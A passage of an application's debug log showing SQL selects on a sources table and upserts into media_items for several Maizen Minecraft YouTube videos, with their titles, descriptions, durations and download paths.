SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.188 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 17:04:01.189 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "cbeac864-e2fd-4aed-bab4-7bc1cc85588d", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 17:04:01.190 [debug] QUERY OK source="sources" db=0.1ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.191 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 17:04:01.192 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "6799b9e0-a470-409d-b141-e99c03cc572f", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 17:04:01.192 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.193 [debug] QUERY OK source="media_items" db=1.1ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 17:04:01.194 [debug] QUERY OK source="media_items" db=0.6ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "16edc12b-37fa-4291-9f0d-9b799d34b3e7", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 17:04:01.195 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.196 [debug] QUERY OK source="media_items" db=1.2ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 17:04:01.197 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "0fd67821-97ae-444b-a660-9cfe1a7b9f44", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 17:04:01.197 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.199 [debug] QUERY OK source="media_items" db=1.2ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 17:04:01.200 [debug] QUERY OK source="media_items" db=0.6ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "8759311b-469e-4510-adf3-7c759f09b43f", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 17:04:01.200 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.201 [debug] QUERY OK source="media_items" db=1.3ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 17:04:01.202 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "436739e9-a4e3-4946-bc6e-d95d9daed999", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 17:04:01.203 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.204 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 17:04:01.205 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "647d3a6e-07e0-4ee1-a6ea-1f1595b14339", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 17:04:01.206 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.207 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 17:04:01.208 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "2f3fe026-d6b8-4da8-910d-a8404a4b78d6", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 17:04:01.208 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.210 [debug] QUERY OK source="media_items" db=1.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 17:04:01.211 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "c6ce7a7d-96c2-4498-b881-22c25a8b84cd", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 17:04:01.211 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.213 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 17:04:01.214 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "7c4988ef-e226-4270-bd6b-22573674dfba", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 17:04:01.214 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.215 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 17:04:01.216 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 